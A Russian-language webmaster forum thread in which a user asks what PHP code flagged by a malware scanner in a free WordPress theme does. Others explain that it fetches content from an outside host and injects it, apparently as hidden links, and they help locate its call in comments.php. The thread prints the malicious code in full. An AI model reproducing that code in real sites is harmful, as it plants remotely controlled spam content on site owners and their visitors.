Проверка айболитом

S
На сайте с 10.02.2009
Offline
93
1044

Всем привет

Имею сайт на вордпресс, решил проверить айболитом локально, вот что он нашел в function.php темы сайта, и ругается что сайт взломан:

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
}

Подскажите, что делает эта функция? Я в пхп не силен. Пробовал удалить указанный код полностью, на работоспособность сайта не влияет. Тема скачана с бесплатного сайта

[umka]
На сайте с 25.05.2008
Offline
456
#1
SVanger:

Подскажите, что делает эта функция?

Подгружает и размещает на вашем сайте ссылки (скорее всего скрытые).

Лог в помощь!
S
На сайте с 10.02.2009
Offline
93
#2
'[umka:
;14553020']Подгружает и размещает на вашем сайте ссылки (скорее всего скрытые).

Анализ исходящих ссылок показывает что их нет на сайте. Или они потом как то появятся? Сайту месяц, вордпресс осваиваю, для меня новая cms

[umka]
На сайте с 25.05.2008
Offline
456
#3
SVanger:
Анализ исходящих ссылок показывает что их нет на сайте.

Раз нет, то и славненько :) Напишите, когда появятся.

S
На сайте с 10.02.2009
Offline
93
#4
'[umka:
;14553046']Раз нет, то и славненько :) Напишите, когда появятся.

Юмор понял) Удаляю указанный код и не думаю об этом?)

[umka]
На сайте с 25.05.2008
Offline
456
#5

Скорее всего, просто удалить этот кусок будет недостаточно.

Нужно ещё и удалить там, где он вызывается.

Поищите по файлам вхождения "Get_links" и "get_remote".

S
На сайте с 10.02.2009
Offline
93
#6
'[umka:
;14553069']Скорее всего, просто удалить этот кусок будет недостаточно.
Нужно ещё и удалить там, где он вызывается.
Поищите по файлам вхождения "Get_links" и "get_remote".

Нашел, запихали в comments.php первой строкой. Спасибо Вам. Потому ссылок и не было, у меня комментарии отключены)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий